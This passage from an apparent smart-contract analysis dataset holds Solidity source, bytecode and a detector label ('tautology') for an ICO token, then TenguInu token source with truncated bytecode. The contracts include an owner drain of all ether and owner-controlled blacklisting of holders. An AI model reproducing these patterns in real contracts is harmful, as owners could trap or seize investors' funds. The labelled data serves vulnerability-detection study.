(msg.value).mul(_price_token_ICO3); require (no_of_tokens >= (100 * 10 ** 18)); // 100 min purchase bonus_token = ((no_of_tokens).mul(20)).div(100); // 20% bonus in ICO Phase 3 total_token = no_of_tokens + bonus_token; transferTokens(msg.sender,total_token); } else if( now >= ico_third && now < ico_fourth ) { no_of_tokens = (msg.value).mul(_price_token_ICO4); require (no_of_tokens >= (100 * 10 ** 18)); // 100 min purchase bonus_token = ((no_of_tokens).mul(10)).div(100); // 10% bonus in ICO Phase 4 total_token = no_of_tokens + bonus_token; transferTokens(msg.sender,total_token); } } else { revert(); } } function start_PREICO() public onlyOwner atStage(Stages.NOTSTARTED) { stage = Stages.PREICO; stopped = false; balances[address(this)] = maxCap_public; pre_startdate = now; pre_enddate = now + 30 days; // 30 days PREICO Transfer(0, address(this), balances[address(this)]); } function start_ICO() public onlyOwner atStage(Stages.PREICO) { require(now > pre_enddate); stage = Stages.ICO; stopped = false; ico1_startdate = now; ico_first = now + 15 days; ico_second = ico_first + 15 days; ico_third = ico_second + 15 days; ico_fourth = ico_third + 15 days; Transfer(0, address(this), balances[address(this)]); } // called by the owner, pause ICO function PauseICO() external onlyOwner { stopped = true; } // called by the owner, resumes ICO function ResumeICO() external onlyOwner { stopped = false; } function end_ICO() external onlyOwner atStage(Stages.ICO) { require(now > ico_fourth); stage = Stages.ENDED; _totalsupply = (_totalsupply).sub(balances[address(this)]); balances[address(this)] = 0; Transfer(address(this), 0 , balances[address(this)]); } // what is the total supply of the ech tokens function totalSupply() public view returns (uint256 total_Supply) { total_Supply = _totalsupply; } // What is the balance of a particular account? function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } // Send _value amount of tokens from address _from to address _to // The transferFrom method is used for a withdraw workflow, allowing contracts to send // tokens on your behalf, for example to "deposit" to a contract address and/or to charge // fees in sub-currencies; the command should fail unless the _from account has // deliberately authorized the sender of the message via some mechanism; we propose // these standardized APIs for approval: function transferFrom( address _from, address _to, uint256 _amount ) public returns (bool success) { require( _to != 0x0); require(balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount >= 0); balances[_from] = (balances[_from]).sub(_amount); allowed[_from][msg.sender] = (allowed[_from][msg.sender]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); Transfer(_from, _to, _amount); return true; } // Allow _spender to withdraw from your account, multiple times, up to the _value amount. // If this function is called again it overwrites the current allowance with _value. function approve(address _spender, uint256 _amount) public returns (bool success) { require( _spender != 0x0); allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { require( _owner != 0x0 && _spender !=0x0); return allowed[_owner][_spender]; } // Transfer the balance from owner&#39;s account to another account function transfer(address _to, uint256 _amount) public returns (bool success) { require( _to != 0x0); require(balances[msg.sender] >= _amount && _amount >= 0); balances[msg.sender] = (balances[msg.sender]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); Transfer(msg.sender, _to, _amount); return true; } // Transfer the balance from owner&#39;s account to another account function transferTokens(address _to, uint256 _amount) private returns (bool success) { require( _to != 0x0); require(balances[address(this)] >= _amount && _amount > 0); balances[address(this)] = (balances[address(this)]).sub(_amount); balances[_to] = (balances[_to]).add(_amount); Transfer(address(this), _to, _amount); return true; } function drain() external onlyOwner { owner.transfer(this.balance); } }
0x6080604052600436106101535763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166302c3d7f6811461042b57806306a815911461044057806306fdde0314610467578063095ea7b3146104f15780630d9ec2281461052957806318160ddd1461053e57806323b872dd14610553578063313ce5671461057d578063405df338146105a857806364e8d682146105bd57806370a08231146105d2578063807d2da3146105f35780638666107c146106085780638da5cb5b1461061d57806395d89b411461064e5780639890220b14610663578063a393dc4414610678578063a9059cbb1461068d578063a913eb24146106b1578063c040e6b8146106c6578063c4eaa978146106ff578063cd18704314610714578063cd7a2c3b14610729578063cf5ae5161461073e578063d44aecb014610753578063dd62ed3e14610768575b600460165460ff16600481111561016657fe5b141561017157600080fd5b600a5460ff1615801561018f5750600154600160a060020a03163314155b151561019a57600080fd5b600160165460ff1660048111156101ad57fe5b1480156101bc57506011544211155b1561026357601254685150ae84a8cdf0000010156101d957600080fd5b6012546101ec903463ffffffff61078f16565b60125560025461020390349063ffffffff6107a916565b6007819055681b1ae4d6e2ef500000111561021d57600080fd5b610244606461023860326007546107a990919063ffffffff16565b9063ffffffff6107d416565b600881905560075401600981905561025d9033906107eb565b50610429565b600260165460ff16600481111561027657fe5b14801561028557506010544211155b1561042457600d544210156102fc576003546102a890349063ffffffff6107a916565b600781905568056bc75e2d6310000011156102c257600080fd5b6102dd606461023860286007546107a990919063ffffffff16565b60088190556007540160098190556102f69033906107eb565b5061041f565b600d54421015801561030f5750600e5442105b1561035d5760045461032890349063ffffffff6107a916565b600781905568056bc75e2d63100000111561034257600080fd5b6102dd6064610238601e6007546107a990919063ffffffff16565b600e5442101580156103705750600f5442105b156103be5760055461038990349063ffffffff6107a916565b600781905568056bc75e2d6310000011156103a357600080fd5b6102dd606461023860146007546107a990919063ffffffff16565b600f5442101580156103d1575060105442105b1561041f576006546103ea90349063ffffffff6107a916565b600781905568056bc75e2d63100000111561040457600080fd5b6102446064610238600a6007546107a990919063ffffffff16565b610429565b600080fd5b005b34801561043757600080fd5b506104296108ca565b34801561044c57600080fd5b50610455610970565b60408051918252519081900360200190f35b34801561047357600080fd5b5061047c610976565b6040805160208082528351818301528351919283929083019185019080838360005b838110156104b657818101518382015260200161049e565b50505050905090810190601f1680156104e35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104fd57600080fd5b50610515600160a060020a03600435166024356109ad565b604080519115158252519081900360200190f35b34801561053557600080fd5b50610455610a2b565b34801561054a57600080fd5b50610455610a31565b34801561055f57600080fd5b50610515600160a060020a0360043581169060243516604435610a37565b34801561058957600080fd5b50610592610baa565b6040805160ff9092168252519081900360200190f35b3480156105b457600080fd5b50610429610baf565b3480156105c957600080fd5b50610455610c4b565b3480156105de57600080fd5b50610455600160a060020a0360043516610c51565b3480156105ff57600080fd5b50610429610c6c565b34801561061457600080fd5b50610455610d27565b34801561062957600080fd5b50610632610d2d565b60408051600160a060020a039092168252519081900360200190f35b34801561065a57600080fd5b5061047c610d3c565b34801561066f57600080fd5b50610429610d73565b34801561068457600080fd5b50610455610dc7565b34801561069957600080fd5b50610515600160a060020a0360043516602435610dcd565b3480156106bd57600080fd5b50610455610ead565b3480156106d257600080fd5b506106db610eb3565b604051808260048111156106eb57fe5b60ff16815260200191505060405180910390f35b34801561070b57600080fd5b50610455610ebc565b34801561072057600080fd5b50610455610ec2565b34801561073557600080fd5b50610429610ec8565b34801561074a57600080fd5b50610429610eeb565b34801561075f57600080fd5b50610455610f11565b34801561077457600080fd5b50610455600160a060020a0360043581169060243516610f17565b60008282018381101561079e57fe5b8091505b5092915050565b6000808315156107bc57600091506107a2565b508282028284828115156107cc57fe5b041461079e57fe5b60008082848115156107e257fe5b04949350505050565b6000600160a060020a038316151561080257600080fd5b3060009081526014602052604090205482118015906108215750600082115b151561082c57600080fd5b3060009081526014602052604090205461084c908363ffffffff610f7016565b3060009081526014602052604080822092909255600160a060020a0385168152205461087e908363ffffffff61078f16565b600160a060020a038416600081815260146020908152604091829020939093558051858152905191923092600080516020610f838339815191529281900390910190a350600192915050565b600154600160a060020a031633146108e157600080fd5b60028060165460ff1660048111156108f557fe5b146108ff57600080fd5b601054421161090d57600080fd5b6016805460ff1916600417905530600090815260146020526040812054905461093591610f70565b60009081553080825260146020908152604080842084905580518481529051600080516020610f83833981519152929181900390910190a350565b60025481565b60408051808201909152600781527f464c4558494f4e00000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156109c457600080fd5b336000818152601560209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60055481565b60005490565b6000600160a060020a0383161515610a4e57600080fd5b600160a060020a0384166000908152601460205260409020548211801590610a995750600160a060020a03841660009081526015602090815260408083203384529091529020548211155b8015610aa6575060008210155b1515610ab157600080fd5b600160a060020a038416600090815260146020526040902054610ada908363ffffffff610f7016565b600160a060020a0385166000908152601460209081526040808320939093556015815282822033835290522054610b17908363ffffffff610f7016565b600160a060020a038086166000908152601560209081526040808320338452825280832094909455918616815260149091522054610b5b908363ffffffff61078f16565b600160a060020a038085166000818152601460209081526040918290209490945580518681529051919392881692600080516020610f8383398151915292918290030190a35060019392505050565b601281565b600154600160a060020a03163314610bc657600080fd5b60008060165460ff166004811115610bda57fe5b14610be457600080fd5b6016805460ff19908116600117909155600a8054909116905560135430600081815260146020908152604080832094855542600b81905562278d000160115593548451908152935192939192600080516020610f838339815191529281900390910190a350565b600b5481565b600160a060020a031660009081526014602052604090205490565b600154600160a060020a03163314610c8357600080fd5b60018060165460ff166004811115610c9757fe5b14610ca157600080fd5b6011544211610caf57600080fd5b6016805460ff19908116600217909155600a8054909116905542600c8190556213c6808101600d5562278d008101600e55623b53808101600f55624f1a00016010553060008181526014602090815260408083205481519081529051600080516020610f83833981519152929181900390910190a350565b60125481565b600154600160a060020a031681565b60408051808201909152600381527f46584e0000000000000000000000000000000000000000000000000000000000602082015281565b600154600160a060020a03163314610d8a57600080fd5b600154604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610dc4573d6000803e3d6000fd5b50565b60005481565b6000600160a060020a0383161515610de457600080fd5b336000908152601460205260409020548211801590610e04575060008210155b1515610e0f57600080fd5b33600090815260146020526040902054610e2f908363ffffffff610f7016565b3360009081526014602052604080822092909255600160a060020a03851681522054610e61908363ffffffff61078f16565b600160a060020a038416600081815260146020908152604091829020939093558051858152905191923392600080516020610f838339815191529281900390910190a350600192915050565b60045481565b60165460ff1681565b60065481565b60035481565b600154600160a060020a03163314610edf57600080fd5b600a805460ff19169055565b600154600160a060020a03163314610f0257600080fd5b600a805460ff19166001179055565b600c5481565b6000600160a060020a03831615801590610f395750600160a060020a03821615155b1515610f4457600080fd5b50600160a060020a03918216600090815260156020908152604080832093909416825291909152205490565b600082821115610f7c57fe5b509003905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058208c4f139e8fa0d02163d8533c731006e40cb28e630a07fea37f626812bfd86f470029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
7,497
0x621a89b0ca49317582f653e9cfe1da2d04bb8acb
/** *Submitted for verification at Etherscan.io on 2021-12-01 */ /** *Submitted for verification at Etherscan.io */ /** * */ /** * TenguInu - $TenguInu * Website http://www.tenguinu.com * Telegram: https://t.me/TenguInu * ⚔️ As the best swordsmen in the japanese mythology, tengu inu will bring their military knowledge to the ethereum blockchain & fight for you /** * */ /** */ pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract TenguInu is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "TenguInu"; string private constant _symbol = "TenguInu"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 1; _teamFee = 9; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 1; _teamFee = 9; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 30000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d79565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128a3565b61045e565b6040516101789190612d5e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612efb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612850565b610490565b6040516101e09190612d5e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127b6565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612f70565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061292c565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127b6565b610786565b6040516102b19190612efb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612c90565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612d79565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128a3565b610990565b60405161035b9190612d5e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128e3565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612986565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612810565b611200565b6040516104189190612efb565b60405180910390f35b60606040518060400160405280600881526020017f54656e6775496e75000000000000000000000000000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b6105598560405180606001604052806028815260200161364e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b129092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612e5b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612e5b565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b76565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c71565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f54656e6775496e75000000000000000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612e5b565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a676132b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc90613211565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611cdf565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612e5b565b60405180910390fd5b601160149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612edb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906127e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906127e3565b6040518363ffffffff1660e01b8152600401610dff929190612cab565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906127e3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612cfd565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5991906129b3565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a18d0bf423c03d8de0000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cd4565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612959565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e5b565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e1b565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce8000000611f6790919063ffffffff16565b611fe290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f59190612efb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ebb565b60405180910390fd5b600073ffffffffffffffffffffffff